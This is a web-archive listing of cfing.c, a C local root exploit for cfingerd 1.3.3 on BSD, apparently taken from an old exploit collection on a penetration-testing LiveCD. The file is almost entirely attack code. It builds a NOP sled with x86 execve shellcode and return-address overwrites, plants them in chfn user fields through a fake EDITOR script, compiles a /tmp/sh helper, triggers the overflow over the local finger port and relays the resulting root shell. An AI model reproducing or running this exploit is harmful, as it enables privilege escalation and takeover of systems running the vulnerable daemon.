home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / cfing.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  221 lines

  1. /*
  2.  * babcia padlina ltd. <babunia@freebsd.lublin.pl>
  3.  * cfingerd 1.3.3 (*bsd) root sploit
  4.  *
  5.  * usage: adjust ptr until cfingerd will segfault with some random data on
  6.  * output, now adjust ret.
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <errno.h>
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <string.h>
  18.  
  19. #define BUFFER_SIZE    80
  20. #define ADDRS        190
  21. #define PTR        0xbfbfd750
  22. #define RET        0xbfbfd7d2
  23. #define NOP        0x90
  24. #define FILE1        "user.inf"
  25. #define FILE2        "hack"
  26. #define FILE3        "set.c"
  27. #define SHELL        "/tmp/sh"
  28. #define FINGER        79
  29. #define MAXLINE        1024
  30. #define LOCALHOST    0x7f000001
  31. #define GREEN           "\E[1;32m"
  32. #define RED        "\E[1;31m"
  33. #define NORM            "\E[1;39m"
  34. #define UNBOLD          "\E[m"
  35.  
  36. void sh(sockfd)
  37. int sockfd;
  38. {
  39.   char buf[MAXLINE];
  40.   int c;
  41.   fd_set rf, drugi;
  42.  
  43.   FD_ZERO(&rf);
  44.   FD_SET(0, &rf);
  45.   FD_SET(sockfd, &rf);
  46.  
  47.   while (1)
  48.     {
  49.       bzero(buf, MAXLINE);
  50.       memcpy (&drugi, &rf, sizeof(rf));
  51.       select(sockfd+1, &drugi, NULL, NULL, NULL);
  52.       if (FD_ISSET(0, &drugi))
  53.         {
  54.           c = read(0, buf, MAXLINE);
  55.           send(sockfd, buf, c, 0x4);
  56.         }
  57.  
  58.       if (FD_ISSET(sockfd, &drugi))
  59.         {
  60.           c = read(sockfd, buf, MAXLINE);
  61.           if (c<0) return;
  62.           write(1,buf,c);
  63.         }
  64.     }
  65. }
  66.  
  67. int connectto(void)
  68. {
  69.   int sockfd;
  70.   char sendbuf[MAXLINE];
  71.   struct sockaddr_in cli;
  72.  
  73.   bzero(&cli, sizeof(cli));
  74.   cli.sin_family = AF_INET;
  75.   cli.sin_addr.s_addr=htonl(LOCALHOST);
  76.   cli.sin_port = htons(FINGER);
  77.  
  78.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  79.     {
  80.       perror("socket");
  81.       return -1;
  82.     }
  83.  
  84.   if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
  85.     {
  86.       perror("connect");
  87.       return -1;
  88.     }
  89.  
  90.   sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
  91.   write(sockfd, sendbuf, strlen(sendbuf));
  92.  
  93.   sleep(1);
  94.  
  95.   fflush(stdout);
  96.   fflush(stderr);
  97.  
  98.   sh(sockfd);
  99.  
  100.   return;
  101. }
  102.  
  103.  
  104.  
  105. int main(argc, argv)
  106. int argc;
  107. char **argv;
  108. {
  109.   char *buf1 = NULL, *buf2 = NULL, *p = NULL;
  110.   u_long *addr_ptr = NULL;
  111.   int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS;
  112.   int retofs = 0, ptrofs = 0;
  113.   long ret, ptr;
  114.   FILE *phile;
  115.  
  116.   char execshell[] =
  117.     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  118.     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  119.     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff"SHELL"\x01\x01\x01\x01"
  120.     "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  121.  
  122.   fprintf(stderr, "\n"GREEN"babcia padlina ltd. cfingerd local root exploit"NORM UNBOLD"\n\n");
  123.  
  124.   if(argc > 5)
  125.     {
  126.       bufsize = atoi(argv[1]);
  127.       addrs = atoi(argv[2]);
  128.       ptrofs = atoi(argv[3]);
  129.       retofs = atoi(argv[4]);
  130.     }
  131.  
  132.   if(!(buf1 = malloc(bufsize+1)))
  133.     {
  134.       perror("malloc()");
  135.       return -1;
  136.     }
  137.  
  138.   if(!(buf2 = malloc(addrs+1)))
  139.     {
  140.       perror("malloc()");
  141.       return -1;
  142.     }
  143.  
  144.   ret = RET + ptrofs;
  145.   ptr = PTR + ptrofs;
  146.  
  147.   noplen = bufsize - strlen(execshell);
  148.   memset(buf1, NOP, noplen);
  149.   strcat(buf1, execshell);
  150.  
  151.   p = buf2;
  152.   addr_ptr = (unsigned long *)p;
  153.  
  154.   for(i = 0; i < (addrs / 4) /2; i++)
  155.     *addr_ptr++ = ptr;
  156.  
  157.   for(i = 0; i < (addrs / 4) /2; i++)
  158.     *addr_ptr++ = ret;
  159.  
  160.   p = (char *)addr_ptr;
  161.   *p = '\0';
  162.  
  163.   if ((phile = fopen(FILE1, "w")) == NULL)
  164.     {
  165.       perror("fopen()");
  166.       return -1;
  167.     }
  168.  
  169.   fprintf(stderr, GREEN "RET:" RED "0x%x\n" GREEN "PTR:" RED "0x%x%\n\n" GREEN "setting up..." NORM UNBOLD "\n", ret, ptr);
  170.  
  171.   fprintf(phile, "#Changing user database information for %s.\n"
  172.           "Shell: %s\n"
  173.           "Full Name: %s\n"
  174.           "Office Location: %s\n"
  175.           "Office Phone: \n"
  176.           "Home Phone: \n"
  177.           "Other information: \n",
  178.           getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
  179.  
  180.   fclose(phile);
  181.  
  182.   if ((phile = fopen(FILE2, "w")) == NULL)
  183.     {
  184.       perror("fopen()");
  185.       return -1;
  186.     }
  187.  
  188.   fprintf(phile, "cat user.inf>\"$1\"\n");
  189.   fprintf(phile, "touch -t 2510711313 \"$1\"\n");
  190.  
  191.   fclose(phile);
  192.  
  193.   if ((phile = fopen(FILE3, "w")) == NULL)
  194.     {
  195.       perror("fopen()");
  196.       return -1;
  197.     }
  198.  
  199.   // buffer is too small to execute seteuid/setegid there, so we have
  200.   // to do this here.
  201.  
  202.   fprintf(phile, "main() { seteuid(getuid()); setegid(getgid()); system(\"id\");  execl(\"/bin/sh\", \"sh\", 0); }");
  203.   fclose(phile);
  204.  
  205.   system("/usr/bin/cc -o " SHELL " " FILE3);
  206.  
  207.   unlink(FILE3);
  208.  
  209.   system("EDITOR=./" FILE2 ";export EDITOR;chmod +x " FILE2 ";chfn > /dev/null 2>&1");
  210.  
  211.   unlink(FILE1);
  212.   unlink(FILE2);
  213.  
  214.   if (connectto() < 0)
  215.     return -1;
  216.  
  217.   unlink(SHELL);
  218.  
  219.   return 0;
  220. }
  221. /*                    www.hack.co.za                  [23 Feb 2000]*/